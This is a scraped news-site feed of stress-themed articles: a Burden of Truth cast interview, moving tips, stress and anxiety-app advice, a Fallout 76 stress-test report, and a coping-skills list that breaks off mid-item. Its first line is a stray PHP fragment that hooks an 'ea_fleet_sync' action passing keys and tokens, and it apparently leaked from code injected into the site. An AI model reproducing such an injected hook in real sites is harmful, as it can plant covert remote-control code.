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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); stress – Brief News https://briefnews.eu Latest World News. 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When Burden of Truth Season 3 premieres this Thursday (The CW, 8/7c), Joanna and Billy are not a new couple — because they’ve actually been in a relationship for a significant amount of time! And not only are the lawyers shacking up, but they’ve also started a law firm together in Winnipeg. How’s that for different?!

In jumping past the pair’s early dating months, “we skipped the part that’s really not that important,” star Kristin Kreuk tells TVLine. “It’s not dramatic. The dramatic part happens when it gets hard again” — and things definitely get difficult very quickly for the duo, as they take on a new case, involving a childhood friend of Joanna’s, back in Millwood.

Below, Kreuk previews Season 3’s family theme and how Joanna and Billy’s past traumas will challenge their relationship.

TVLINE | Every year, the show kind of resets with a new case and a new personal struggle. As an executive producer, what kind of conversations did you have with the writers and the producers about the goals for this season?
So Bradley Simpson created the show, and he and I kind of debrief at the end of the season, and then when we get an inkling that we’re going to do another [season], we’ll come together. He’s a bit of a nerd. So he’ll go and collect a bunch of cases and stories that have been in the news in Canada that are things that he thinks are important, and then we’ll sit down and talk about that, and we’ll also talk about the characters, and particularly, obviously, from my perspective, Joanna, because whatever her character journey is, everyone else goes through something in relationship to that. So we really talk about what we want to accomplish in this portion of the story.

Burden of Truth SpoilersSeason 1 was very much about facing your past, having the truth revealed to you. And Season 3 is kind of still about facing your past, but it’s specifically around relationship and family, and what it takes to recognize your trauma and identify it so that you can move forward and be in families of your own, whether that’s Billy and Joanna in a relationship or the guest star for the season, Kodie [played by Outlander‘s Sera-Lys McArthur], with losing her kids.

TVLINE | What’s different and unique about this year’s ongoing case? And how does it impact Joanna?
There are a few unique qualities to this case and season. We’ve incorporated flashbacks into this season of the show, which we’ve never done before. They’re quite poetic, I guess. They’re more flashes than direct scenes, but they inform what’s happening for Joanna.

What Joanna is facing, personally, is she’s starting to have, as you see in the first episode, panic attacks, which are the result of her worrying about a potential thing that’s happening with her and Billy, along with their business and their relationship. That’s certainly a unique aspect of it, and Billy and Joanna are in a relationship at this point in the story. We’ve skipped kind of the courtship phase, and they’ve been in a relationship, and they’re working together. So you’re seeing them struggle to build their company and build their relationship and deal with the new issues that are coming forward to confront them.

TVLINE | The official synopsis mentions that the case is connected to a long-buried secret from Joanna’s childhood. How many secrets are there in Joanna’s childhood?!
[Laughs] I don’t know if there are very many more! She had a rough childhood. All the secrets are related. They, certainly, are kind of the fallout from her childhood. I guess they’re less secrets and more parts of her trauma that come to the forefront of her mind as she’s going through these massive transitional parts of her life. So it’s not like there’s another crazy thing that happened. It’s just that there were things that she experienced as a young person, because she lived in a household that was abusive, with a father who was horrible, and a mother who was mentally ill, and she had no support. So the secret kind of relates to that.

Burden of Truth SpoilersTVLINE | As you mentioned, there’s a pretty significant time jump, in terms of Joanna and Billy’s relationship this season. What did that allow you to explore and do with the relationship that was interesting and new?
I have this weird thing where I watch shows, and I always see the beginnings of relationship stories, and after people kiss, then they’re like, “Yay!” and you live in that kind of like heated tension at the beginning of things. I’m really interested in relationships and what it takes to make relationships work. That’s what we got to do by kind of skipping that part. We skipped the part that’s really not that important. It’s not dramatic. The dramatic part happens when it gets hard again. And that’s kind of what we do: We see them, and they love each other, and that’s clear and obvious. But when you work together, when you both come from an abusive household, when you have trauma in your past, when things are changing, there’s a lot of stress. So it allows us to push into their relationship with those threats, when they’re already together. That’s kind of the juicy part of relationships and love is when it’s gone on for a while, and there are things that come up that define you and define your coupledom.

Burden of TruthTVLINE | And how will Joanna and Luna’s relationship evolve as sisters this season?
They have a lot of tension this season. [Laughs] Luna is kind of redefining her life and her understanding of the world after, basically, her society rejected her, and she felt the brunt of the racism of her community. She’s moved away from Millwood, and she’s working with Joanna and Billy in Winnipeg, and she’s trying to get a handle on her life. The law is a tough place for her, because she really is an activist at heart, and she’s a fighter. The way Joanna does the law is, yes, she’s trying to do things that are good, but she is still a lawyer. Luna’s methods are not Joanna’s methods, and Joanna keeps trying to make Luna fit into her methods… So they’re at odds this season for a while, while Luna tries to figure out her own life.

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]]> https://briefnews.eu/burden-of-truths-kristin-kreuk-previews-joanna-and-billys-not-so-new-relationship-theres-a-lot-of-stress/feed/ 0 7 Things You Don’t Want to Forget in Your First Place https://briefnews.eu/7-things-you-dont-want-to-forget-in-your-first-place/ https://briefnews.eu/7-things-you-dont-want-to-forget-in-your-first-place/#respond Mon, 21 Oct 2019 19:31:48 +0000 http://briefnews.eu/?p=255875 There is hardly a time in your life that’s more repetitively stressful than the few times (hopefully) that you move. Be it when you move into a college dorm, your first apartment after college or your family’s dream home that you built, moving, no matter how exciting, is stressful. Moving for the very first time, even more so. It comes down to having a to-do list a mile long and only two (or four thanks to an amazing spouse) hands with which to accomplish all that needs to get done. From the big things, like scheduling a moving fan, to the little things, like remembering toilet paper for the new house when you invite all of your friends to help move you in, there’s a lot of big and little tasks that you have to remember. That all comes before you even begin to live in your new place too! Once you’re finally handed the keys comes the fun part, but also the part you’re most likely to forget stuff for most: moving in your stuff. While moving the boxes with your stuff in is pretty straight forward, it’s the little things that end up messing up your first night in your new home. If you’re moving soon, check out this list to make sure you have everything you need for your very first home to make the move one you won’t forget.

 

  1. Toilet Paper.

We may have mentioned this one up above but it’s surprisingly one that is quite often forgotten, so much so that mentioning it again is much needed. Whether it’s something that gets taken for granted or is simply an item so small that usually just gets tacked on to your weekly grocery list that it’s forgotten, a lot of people end up forgetting to buy a few rolls for their new place as they move in. This can create for quite a predicament for you and friends when nature calls as you’re moving in your new sofa. Don’t overlook this one or no amount of pizza and beer will make it up to your friends.

 

  1. Candles, Febreze, and all the other scent things…

Usually, regardless if you’re moving into an apartment or house, someone lived there before you. This means that, even if they’ve been moved out for a while, there could still be some lingering scents. You’ll want to clear those away before you move in the sofa or you might just get unlucky and the scent will stick to said sofa…

 

  1. Cleaning Supplies.

While usually if you’re renting an apartment, it will be cleaned after the old tenant moves out, it’s still a good idea to buy lots of cleaning supplies for your new place. Chances are there will still be a few areas that could use some TLC even if you’re renting, if you’re buying often times you buy as-is, meaning you’re responsible for how the home looks when you sign on that dotted line. Even if your new home looks extremely clean, doing a deep clean upon move-in is always a good idea to get rid of potential allergens and germs.

 

  1. A good fan.

Chances are when you’re moving, you’re going to be re-painting, leaving lots of doors open, and having to get a lot of utilities switched over. Regardless of the reason, we’re betting at some point you will be relieved to have a heavy-duty fan on-hand. They’re great for getting rid of paint fumes, cooling down your home, and even reducing an energy bill so having one when you move and for the long-term is only going to benefit you and come in handy.

 

  1. A portable shower caddy or small basket.

This one is going to come in so handy for a variety of different reasons. When you’re first moving in, you and your friends can stash your keys, wallets, and phones in the caddy or basket so that nothing of importance is left in the ruckus that is becoming your new house and lost among the boxes. When you’re unpacking, you’ll have an easy way to carry all the necessary unpacking accessories from room to room without losing them. And after you’re all moved in you have either a stylish and decorative basket or a useful shower-caddy to provide to guests who’d like to use your shower.

 

  1. Coupons for restaurants around your new area (preferably delivery).

You (and your wallet and your stomach) will thank us for this one later. The last thing you’re going to want or be able to do if the dishes are still packed away is to cook dinner. You’re going to be tired, sweaty, and up to your nose in boxes. Having some coupons for the pizza place down the street will save your sanity, stomach, and wallet—all in one fell swoop!

 

  1. A wireless Bluetooth speaker.

Unpacking isn’t fun, even if you’re excited to be living in a new area in a new place, unpacking a thousand boxes containing your entire life will never be a fun time. The only way you can possibly make it worse is by not having a few of your favorite tunes to jam out to as you sort through all your stuff. Not only will this be great for unpacking, but for moving too! Your friends will be grateful for some upbeat tunes as they schlep your boxes up and down three flights of stairs to your new place. This is also a great moving item that you’ll be able to get a lot of use out of even after you move! If you really want to splurge and have something great for your new place to treat yourself, spring for a Google Home or an Alexa!

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Stress!  It’s so hard to avoid in our busy lives between the demands of work, school, and home.

It’s so bad that every year the American Psychological Association has the Harris Poll conduct its annual Stress in America™ survey. The results from the 2018 survey are in, and people are stressed!

Adults overall reported being highly stressed about money and work. And if that isn’t bad enough, more than two-thirds of those surveyed reported that the nation’s future caused them stress.

Can you guess which group was the most likely to be stressed in the US? Generation Z adults (18-21).

Youth is supposed to be such a wonderful time, but more than nine in 10 of these adults had experienced at least one emotional or physical symptom because of stress. They were also much more likely than other adults to report their mental health as fair or poor.

While stress can take an incredible toll on your physical and mental health, there are ways to manage it.

Get Enough Sleep!

It seems unfair. Stress causes you to sleep poorly, and then the lack of sleep itself causes more stress. Before you know it, you are caught up in a vicious cycle of sleep deprivation and stress.

Not getting enough sleep can seriously affect your health. Constantly getting inadequate sleep has been linked with the onset of cognitive decline and possibly even Alzheimer’s disease. And then there are the standard culprits: obesity, diabetes, and heart disease – all major killers.

Your first thought may be to take drugs to sleep. That might work for a while, but it is not sustainable in the long run.

Experts suggest a number of ways to get a better night’s sleep.

One of the key ways (that many people resist) is to go to bed at the same time and get up at the same time everyday. While sleeping in on the weekend may feel divine, it really isn’t good for you in the long run.

Another is difficult to implement in this day and age but is well worth it: banish electronics from your bedroom. The blue light they give off is primed to keep you awake and disrupt your body’s sleep rhythm.

Following this advice will help you to sleep better. You will then be much better able to resist stressful events after a good night’s sleep.

Meditate

People have been meditating for thousands of years, which speaks to the benefits you can get from the practice.

Spending a few minutes quietly meditating doesn’t seem like it would do much for your stress levels, but it can make all the difference in the world.

Meditation practitioners can speak to the reduction in stress that happens from ongoing meditation. Scientists that study the brain have been trying to understand why meditation works so well and have partially succeeded.

While much remains to be learned, research has shown that meditation can change not only behavior but also brain structure and activity.

So when stress starts to get the better of you, make room in your life for meditation. There are even apps for meditation to help you fit it into a stressful day!

Get a Pet

Dog and cat lovers know that the joy of having a pet knows no bounds.

Seeing the smile on your dog’s face when you get home or having your cat lovingly greet you at your feet can make your stress levels just melt away.

A lot of research on the health benefits of owning a pet has been conducted. A recent study looked at how having a dog strongly reduced the level of stress in the caregivers of autistic children (speaking of stress!).

Having a dog reduced the stress levels of many of the parents by so much that they moved from the category of “clinically high” levels of distress to normal levels.

These are just some of the ways that you can reduce stress, and you can also increase your amount of exercise and maintain a healthy diet. Before you know it, you will have a buffer against the stresses of daily life!

]]> https://briefnews.eu/3-best-ways-to-reduce-stress/feed/ 0 Fallout 76 news: Xbox stress test reveal ahead of beta release date https://briefnews.eu/fallout-76-news-xbox-stress-test-reveal-ahead-of-beta-release-date/ https://briefnews.eu/fallout-76-news-xbox-stress-test-reveal-ahead-of-beta-release-date/#respond Mon, 15 Oct 2018 22:02:11 +0000 http://briefnews.eu/fallout-76-news-xbox-stress-test-reveal-ahead-of-beta-release-date/

Bethesda has been holding special Fallout 76 stress tests ahead of the beta release.

Pre-Order players can sign up to these server launches if selected to participate, via the Xbox Insider Hub, giving them access to the game.

It’s unclear if Bethesda will run another stress test before the beta launch, although plenty has been revealed about early versions of the game already.

Digital Foundry has shared a lot of information on the graphical side of things and how one of the pre-builds of Fallout 76 shapes up.

Based on what was provided to DF, this early version of Fallout 76 is a graphical downgrade on Fallout 4.

This includes resolutions being lower on Xbox One X when compared to Fallout 4, as well as textures found in the game.

Shadows were also viewed to be running behind the movement of characters, with a 15fps different noted between both.

The good news is that the draw distances found in this version of Fallout 76 on Xbox One X were an improvement.

Bethesda has promised that newer builds of the game have fixed issues found by Digital Foundry, although no list has been circulated on what this includes.

So the good news is that the Fallout 76 beta will likely include an improved version on the early code played this weekend by fans.

The report from Digital Foundry also highlighted the fact that Fallout 76 has a wider variety of art design over Fallout 4.

It is also noted that texture quality could jump on Xbox One X, due to the console’s added horsepower.

However, this might not bode well for players on the original Xbox One and PS4 consoles.

The Fallout 76 beta launches on Xbox One on Tuesday, October 23, and on PlayStation 4 and PC on October 30.

Running things a little differently from other companies, the Fallout beta will not be available 24hrs a day.

Instead, Bethesda will be looking to try out the game at specific times, meaning it will be available in short bursts.

Instead, Bethesda will be looking to try out the game at specific times, meaning it will be available in short bursts.

It’s a little unusual, but it also sounds like a great way to work out what the servers will need to survive under the different stresses.

These tests may help to avoid complete server failure on all platforms and mean that the beta will be available to play until November.

Here’s more from Bethesda, who confirms: “During the B.E.T.A. one of our primary goals is to stress test and break the game.

“As such, the servers will not be running 24/7; instead, they’ll be online during targeted timeframes so we can get as many people as possible playing at the same time.

“Why? Because that’s the best way to put all our systems to the test and see how they respond.

“On any given day the game might be up for anywhere between four to eight hours. Focusing as many players as we can into these windows is our prime objective.”

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]]> https://briefnews.eu/fallout-76-news-xbox-stress-test-reveal-ahead-of-beta-release-date/feed/ 0 10 Anxiety Relief Apps to Take the Edge Off When Stress Hits Hard https://briefnews.eu/10-anxiety-relief-apps-to-take-the-edge-off-when-stress-hits-hard/ https://briefnews.eu/10-anxiety-relief-apps-to-take-the-edge-off-when-stress-hits-hard/#respond Tue, 28 Aug 2018 14:50:37 +0000 http://briefnews.eu/10-anxiety-relief-apps-to-take-the-edge-off-when-stress-hits-hard/ Doesn’t it always seem to be the way that anxiety and panic attacks have a terrible habit of striking at the worst possible moment?Sure, there’s never a *good* time to deal with them, but more often than not the stress hits hardest when we’re far beyond our comfort zone, with our usual anxiety relief tools well out of reach.Perhaps we’re at a friend’s house, on the train or at the store. Wherever it is, when an attack strikes of the stress of the situation simply becomes too overwhelming, we could all use something quick, simple and effective to help us through it.That’s where the leading anxiety relief apps we’re featuring today come in handy.Over the past couple of years, a whole host of tools have come onto the market to help those dealing with stress, anxiety and depression gain some respite from their symptoms wherever they are, whenever they need them.On the face of it, this is certainly good news. It means that however stress and anxiety manifests itself for you, and however you prefer to regain your calm, there’s a tool available that you can download and use at a moment’s notice.But here’s the thing:With so many of these apps now available, finding one that’s truly effective can take a long time and a lot of work.Of course, there is an easier way.Here, we’ve rounded up the very best anxiety relief apps currently available, each one tried, tested and reviewed to help you pick the ones that are going to work best for you.

1. Calm

Deciding how to rank our top two anxiety relief apps was no easy task. Both calm and second-placed Breathe2Relax offer incredible value for a free app and have ultimately helped thousands of people to get their anxiety under control.In the end, however, it was Calm’s reputation as the world’s number one mindfulness and relaxation app which cemented its position at the top of the chart.Voted Apple’s App of the Year in 2017 and currently the third most popular iPhone app in the category of health and fitness, Calm offers a plethora of relaxing meditations.Each meditation comes with its own enchanting visuals and tranquil soundtrack, so you can always find one that’s just to your liking.Also available for Android devices, the app allows you to choose meditations ranging anywhere from a quick two to twenty minutes.Whilst the former can prove incredibly effective in an emergency, using the longer meditations on a regular basis can work wonders for keeping anxiety at bay and enjoying a greater sense of calm throughout day-to-day life.Like most of the apps on this list, Calm is free to download and has lots of free content that you can use right away. However, there are some options to purchase subscription-only content if you wish to.Best for: All-round stress-management and relaxationRating:

  • iPhone rating : 4.8/5
  • Android rating: 4.6/5

Available for iOS | Android

2. Breathe2Relax

Few apps have been more widely acclaimed nor as expertly put together as Breathe2Relax.As the name implies, the app helps you get through an anxiety attack by practising breathing techniques, with a particular focus on diaphragmatic or “belly” breathing.That said, this isn’t just as a great tool to use in an emergency.Break it out regularly and practice some of the exercises whenever you simply want to enjoy a moment of quiet mindfulness or to help you feel fully relaxed before sleep.As you might expect from a tool developed by the National Center for Telehealth & Technology, this one has plenty of science behind it. A series of videos and graphics can show you how stress is affecting you in different parts of your body, as well as offering the best techniques to tackle that stress.Simple, effective, and very easy to use, this is well worth a download for anyone dealing with stress, anxiety, or panic attacks.Best for: Breathing exercisesRating:

  • iPhone rating : 4.4/5
  • Android rating: 4/5

Available for iOS | Android

3. Self-Help for Anxiety Management

Developed by a team of psychologists, computer scientists and students at the University of West England in Bristol, Self-Help for Anxiety Management (or SAM, if you prefer) is one of the most fully-comprehensive anxiety relief apps currently out there.Whilst other tools tend to focus specifically on one aspect (such as breathing exercises or meditation), SAM sets itself apart as a one-stop-shop for all manner of tools, tips and techniques for busting stress, reducing anxiety, and dealing with panic attacks.The ability to connect and communicate with other SAM users is particularly helpful.Dealing with anxiety can often be a very lonely experience, especially if you don’t have anyone around you who really understands what you’re going through.To address this, SAM comes with a secure, private social network that puts you in contact with others who are going through a similar experience to you.That being said, the best part of this app is the ability to put together your own personalized toolkit of things that really help you.So, instead of relying solely on a pre-defined set of tools, any time you come across a resource that works for you, you can add it to your toolkit.That way, whenever you need it, you’ve got instant access to all the things you know you can rely on to help you out when stress or anxiety is at its peak.Best for: Putting together your own anti-anxiety toolkitRating:

  • iPhone rating: 3.9/5

Available for iOS

4. HeadSpace

With HeadSpace, you start off with a free trial version and then have the option to pay for premium content. Whilst that may not make it the ideal app for everyone, it does have plenty of benefits that make it a worthy inclusion on our list.The free version provides a complete course that teaches basic meditation techniques that you can use in a variety of situations to feel calmer and enjoy mindful living.Often, one of the biggest problems facing those with anxiety is that of racing thoughts; taking relatively benign situations (or those which would otherwise be only mildly stressful) and blowing them up into huge, terrifying ordeals.Most of the time, these terrifying ordeals never actually occur in the real world, but because we’ve created such large, vivid representations of them in our minds, we feel as though they’re entirely real.The result, of course, is heightened anxiety or a full-blown panic attack.HeadSpace addresses this by focussing on mindfulness — bringing us back into the present moment through a series of guided meditations and enjoyable animations.The latter help teach valuable mindfulness skills that can help not just with stress and anxiety, but in tackling everyday life situations such as eating healthy, exercising and getting a restful night’s sleep.Best for: Mindfulness and meditationsRating:

  • iPhone rating : 4.9/5
  • Android rating: 4.6/5

Available for iOS | Android

5. Worry Watch

Worry Watch is one of the few anxiety relief apps out there available exclusively for Apple devices. It’s also one of the few apps that you’ll need to pay up front to use.However, if you have $ 2.99 to spare, then you’ll find it well worth taking a few moments out of your day to download this very useful tool.Unlike other apps which help you to cope once the stress or anxiety is already at its peak, Worry Watch does something much different.It helps you to track and identify the trigger situations that cause much of your anxiety in the first place.Using the password-protected journal, you can log all the situations, circumstances, and people that cause you the most anxiety. You can even categorize different types of worry and note down how high the level of anxiety is that they cause.In turn, this can help you develop new coping strategies or come up with alternative ways of doing things which avoid those trigger situations.Revisiting these events, you’re also likely to see that the things you worried about the most never turned out even half as bad as you expected. In the long-run, this can help boost your confidence and reduce anxiety when going into similar situations.Best for: Identifying anxiety triggersRating:

  • iPhone rating : 4.5/5

Available for iOS

6. MindShift

Dealing with stress and anxiety can be terrifying and exhausting no matter what you’re age.Yet for teenagers and young adults, it can be practically debilitating, preventing them from enjoying the best possible opportunities in life as they work their way out of high school into the wider world.Developed by the Canadian charity, AnxietyBC, MindShift remains one of the best tools out there for helping young people overcome this crippling anxiety and develop effective coping strategies for almost all aspects of life.Through a combination of learning exercises, meditations, and tools, MindShift helps users to change the way they think about anxiety and stop it from controlling their lives.A highlight is the “chill out tools,” designed to aid relaxation and mindfulness. These can prove particularly effective in stressful situations or in helping youngsters whose sleep is affected by anxiety.Elsewhere, breathing exercises and various strategies can be taught to tackle a series of issues including social anxiety, panic, conflict, and riding out the intense emotions that play such a big part in the lives of growing young people.Best for: Teenagers, and young adults with anxietyRating:

  • iPhone rating : 3.7/5
  • Android rating : 4.1/5

Available for iOS | Android

7. Pacifica

Cognitive Behavioural Therapy (CBT) has long proven to be incredibly effective in coping with stress, anxiety and depression.Pacifica takes the most prominent principles and most useful tools of CBT and packs them into one helpful app, along with meditations, mindfulness exercises, and more.By far one of the most beautifully designed apps featured today, the app is like having your own CBT therapist in your pocket at all times.Once downloaded, you can keep a private journal to record your thoughts and log trigger situations (much like you can with Worry Watch). The CBT-based analytics tools can then help you to break the negative thought cycles that cause much of the stress, anxiety or depression about a certain event or circumstance.You can also set daily goals and challenges and work through audio lessons and activities designed to teach you new ways of coping with your anxiety.As with other apps, there’s also a social component where you can connect and share stories, tips and advice with other users.Pacifica is free to download and use, but some content is only available via a paid subscription.At time of writing, said subscription will cost you $ 8.99 per month, $ 53.99 per year, or $ 199.99 for a lifetime membership.Best for: CBT-based exercisesRating:

  • iPhone rating: 4.7/5
  • Android rating : 4.5/5

Available for iOS | Android

8. Inner Balance

It’s unique, it’s innovative, and it’s very helpful, so why does Inner Balance rank so far down on our list?One word:Price.Sure, the app itself is free to download, but if you’re going to actually make any use out of it, you’ll need to shell out around $ 130 for a wearable sensor.If you have that kind of money available, then this is certainly worth the investment.What it does is looking at the physical effects of stress and anxiety, and helping to get those effects under control in a way that promotes calm, relaxing feelings.When stress is high, or when we’re in the midst of a panic attack, our breathing and heart rate shoots through the roof.Inner Balance teaches users how to monitor this. It also teaches how to get breathing, heart rate, and emotions all in alignment, turning anxiety into calm and reducing the overwhelming sense of fatigue that can often follow an attack.Best for: Tracking and improving the physical effects of stress or anxietyRating:

  • iPhone rating: 4.7/5
  • Android rating: 3.6/5

Available for iOS | Android

9. Panic Relief Free

Though all of the tools we’ve listed here do a great job in reducing overall anxiety levels and promoting positive mental health in the long-term, Panic Relief goes one better:It provides emergency support when you really need it the most – in the middle of an actual panic attack.As we’ve already discussed, a panic attack can send heart rates haywire and make breathing incredibly erratic.Naturally, this makes it harder to concentrate, which is why it’s very helpful to find that Panic Relief is so quick and simple to use, even when you’re at the height of an attack.Once you’re in, you can access four animated tutorials that talk you through proven techniques to minimise the physical effects of an attack, slow your breathing back to a normal pace, and ultimately help you feel more relaxed.Best for: Dealing with panic attacksRating:

  • iPhone rating: 4/5
  • Android rating: 4.6/5

Available for iOS | Android

10. Rain Rain Sleep Sounds

Finally, we get to an aspect of our lives that can cause us the most problems when it is impacted by high-level anxiety.All those racing thoughts, worries and stresses can often leave us tossing and turning through the night. This lack of sleep then affects our ability to function the next day and causes us no end of health problems. As a result, we often find our anxiety increasing, and thus the vicious cycle continues.Rain Rain Sleep Sounds looks to break that cycle by providing a menu of endless soundscapes designed to help users drift away into a peaceful night’s rest.Most of the tracks are different forms of rain (such as rain falling in the city or at the seaside), but a few, such as crackling fires and thunderstorms, may be more to your liking.Choose one high-quality track, set it to play, and it will keep on doing so all through the night, lulling you into a restful state so that you can wake up fresh and ready to tackle your day.Best for: Getting a peaceful night’s sleepRating:

  • iPhone rating: 4.8/5
  • Android rating: 4.4/5

Available for iOS | Android

The verdict: Picking an anxiety relief app that’s right for you

From physical health to mental and emotional anguish, anxiety can manifest itself in many forms.The good news is that no matter which of those forms you’re struggling with the most, there’s an app that’s tailor-made to help you with it.Finding it impossible to get out of a debilitating panic attack? Panic Relief is just the thing.Need help maintaining a sense of calm throughout your day-to-day life? HeadSpace or Pacifica may be more to your liking.That being said, there’s nothing to say you have to download just one app and stick to it.Since almost all of the tools featured here are free to at least try out, why not choose a handful that look to be the most helpful and test them for yourself?You never know, you may just find the one thing that makes all the difference when it comes to taking control of your anxiety and leading a happier, calmer life.

]]> https://briefnews.eu/10-anxiety-relief-apps-to-take-the-edge-off-when-stress-hits-hard/feed/ 0 20 Coping Skills That Will Help You During Times of Stress https://briefnews.eu/20-coping-skills-that-will-help-you-during-times-of-stress/ https://briefnews.eu/20-coping-skills-that-will-help-you-during-times-of-stress/#respond Tue, 14 Aug 2018 19:25:12 +0000 http://briefnews.eu/20-coping-skills-that-will-help-you-during-times-of-stress/ Few things in life are guaranteed, although I can be quite certain when I say:

  • Someone is going to really annoy you.
  • Someone is going to die and leave you feeling empty and unable to go on.
  • Something out of the blue is going to challenge you to the core of your humanity.
  • Something is going to breakdown and stop working at the most inopportune moment you could imagine.
  • You are going to spend money on something you really don’t want to.
  • You are going to be forced to do something you never thought you’d do.
  • You are going to face a challenge that feels completely soul destroying.

How can you know these things Mandie?I hear you ask.Well because as my dear Nan used to say “In every life a little rain must fall.” Looking back as I watched Nan cook a meal worthy of gods or any childhood dream sequence I know I used to struggle with what that saying meant.Of course some rain must fall, we would die without water, I used to think.However on the other side of childhood where bills, maintenance, insurance and other boring things exist, I’m pretty sure I get the true meaning of that saying.The intriguing thing is that I’m a keen reader and find that so much in personal and professional development and in the pursuit of happiness is aimed at ensuring we don’t just have wellies, brollies and waterproofs, to protect us from the rain in life, but that we are so far removed from any wet stuff we can’t appreciate the damage that this polar opposite can also have on our positive existence.I want to share with you some of the top coping skills for life that aren’t just good for the rainy days, they can have a serious impact on your life.Into every life, some tough times appear, it is not the tough times that define us, it’s how we deal with them that does.All very well having great sentiments like that; however when your car has broken down, you feel ill and can’t stop because deadlines are looming, your cat’s puked in your shoes, your phone won’t hold a charge, and they are making people redundant at work it can be hard to have the a positive “Can do” attitude.Let’s look at what to do (And I promise to make these ideas easy to action, life changing if applied, fast and reliable. Promise):

1. Find it

I’m a keen believer that if you can’t see what’s going on, I mean really see, then you can’t fix it. I’m often coaching a client who will walk in telling me that X is the issue when 20 minutes later we’ve delved into their minds and discovered that X was just a symptom of the problem.And as you probably know treating symptoms and not the actual problem rarely works. The real issue is left to carry on wrecking your health, happiness and mental well being.How does this apply in stressful situations? Have you ever had a friend that was pregnant, or you lost or gained weight, or realized that you were “suddenly” in this really bad habit of walking in the door at night and instantly grabbing a cold beverage?That didn’t just start, over time that gradually became more prominent. And when things sneak into our lives, be a beautiful baby bump or an unwanted 10lb, it didn’t just land on you overnight.

2. Ask it

So to find how you are coping with stressful situations, ask yourself some questions:

  • How do I feel right now on a scale of 1 to 10? (10 being awesome and 1 being awful)
  • Is there a pattern to the way I feel caused by my environment?
  • Is there a pattern to the way I feel caused by my beliefs?
  • Is there a pattern to the way I feel caused by my work?

Take the time to process your response to these 4 questions. They could become powerful in every aspect of your life.

3. Notice it

When we become aware of our surroundings, our situation and the way they make us feel we need to learn to notice the impact of these things.Not to start moaning at ourselves and berating us for being lazy, thick, stupid, sloppy, etc, just to notice. Above is about noticing the patterns we create, and this skill is about noticing how it impacts on you.

  • How does it make you feel?
  • How does it make you act?
  • How does it make you behave?
  • How does it make you think?

At this stage you don’t have to think, do, say or act any differently just notice what happens in stressful situations.

4. Measure it

Peter Drucker famously says,((Drucker Institute: About Peter Drucker))

“If you can’t measure it, you can’t improve it.”

Therefore when you start to notice how you feel, act and behave in stressful times and have understood more about the way it impacts on you, you are then in a position to create a benchmark graph((Mandie Holgate: Bench Mark Graph)).

5. Be honest about it

In stressful situations, we can find ourselves with our heads down in the proverbial sand, with our hands over our ears yelling “la, la, la, la, la”.While as kids that’s hilarious to watch kids do that, as we grow up it’s a bit of an ice cold slap in the face that not being honest doesn’t fix anything and stops us from changing things. Be honest as you create the above bench mark graph.Being honest is a powerful thing. When you’re honest with yourself, you raise self awareness and anyone looking to achieve anything in the 21st century is going to be determined to improve their own self awareness as we are starting to appreciate the power this can have.Although Tasha Eurich((Tasha Eurich: Insight)) shares some scary research on this. Tasha Eurich, author of Insight; Why we’ve not as self aware as we think and how seeing ourselves clearly helps us succeed at work and in life says in an interview for Harvard Business Review that “95% of people believe they’re self-aware, however only about 10-15% actually are.” Adding “The joke I always make is that on a good day, 80% of us are lying to ourselves about whether we’re lying to ourselves.”((Harvard Business Review: What Self-Awareness Really Is (and How to Cultivate It)))

6. Be honest to your world

In stressful times, it is not just important to be honest to ourselves, it’s important that you’re honest to those that are in your world. Some find that they can do this in their personal life but wouldn’t dream of saying anything at work; whereas others bottle it all up, with a smile and a lie that says “I’m fine.”

7. If you aren’t fine, say it.

You don’t have to turn into a moaning black cloud of doom, but being honest helps you and other people.Showcasing your own limitations and stress can help other people to see the human that you are. We feel more connected to those that share honestly and are more likely to want to help them and at the very least probably less likely to add more to your work load.I worked with someone that was petrified that work would find out how much they were struggling with the work load. This is what the conversation went like (and I’m sharing it so you can ask yourself similar questions):Client: “I’m really struggling to hold it together.”Me: “Have you told anyone?”Client: “I can’t do that, it would be professional suicide. They’d be circling around me ready to pick the bones of my career in seconds.”Me: “Do you know that to be true?”Client: “It’s not worth the risk to find out.”Me: “So if you don’t say something, what are you agreeing to?”Client: “Feeling overwhelmed, stressed and about ready to quit.”Me: “And are you happy to stay there or would you like to be somewhere else?”Client: “Obviously somewhere else, but I can’t see how that’s possible.Me: “Are you prepared to explore where you would like to be and how to get there?”You can guess the answer! And using the tools below, guess what they discovered? They weren’t alone! It was an issue throughout the department and changes were made for everyone. A bit of honesty can go along way!

8. Change it

In stressful situations, the human being is pre-programmed to do everything in its power to escape the situation it finds itself in.Fight or flight doesn’t really do this pre-programming justice. We are still alive because since the dawn of our time we’ve been able to adapt, change and escape situations that other species succumb to.The issue is that we also fear change. I get more speaking engagements and corporate coaching gigs because people are struggling with change than possibly any other subject. The fact is while we can appreciate change can help in stressful situations, knowing and doing is not the same thing.Ask yourself what could I change about this situation? (This is not what am I going to do, this is about making suggestions about what you could do.) And if they are the suggestions that have been rattling around in your head for the last few weeks, or keep you awake at night, they are less likely to be useful.Really get in touch with your subconscious (and the good ideas) by asking:“If money, time, skill, health, magic, beliefs or values weren’t factors in this situation what could I do?”This enables your mind to explore some whacky ideas, however as Einstein (may have said) Creativity is intelligence having fun. And this exercise enables your mind to have some fun.

9. Can’t change it? Don’t.

I worked with a large organization that had been through massive change. Everyone had stepped up to the challenge, but everyone was really stressed. Those that were struggling the most kept reminding me that “it hadn’t always been like this”, and “the old way was a lot easier”.Not all change can be controlled. And when we fight it, we can find ourselves escalating stress. Sometimes the most powerful thing you can do is learn to go with the flow.If you don’t “choose” to go with the flow, ask yourself:What are you agreeing to?This questions enables you to see that you are going to get negative emotions, actions, conversations, damaged relationships and even health issues.Change is sometimes dumped on us like a storm clouds contents, you could stand and moan at the storm cloud but it won’t stop you from getting wet.

10. Ask yourself: Are you creating it?

Some of life’s stresses are man made. And I’m not talking about someone else, I’m talking about you.It is an ugly fact that none of us want to look at (so be brave) however have the strength to ask “Am I creating this stress?”Remember to be honest. And let the answers come to you.

11. Know that sh*t happens

First spotted in the 60’s, this has been a famous saying since at least the 80’s, why? Because stuff does just happen.As humans we are always looking for reason and understanding. “Why did this happen to me?” and we can often find ourselves down a rabbit run looking for ghosts of answers that just don’t exist.Sometimes bad stuff happens. This does not define you. This is not a personal vendetta from a god or unseen deity, seriously sometimes all you can do is accept those 2 words – sh*t happens.

12. Control it

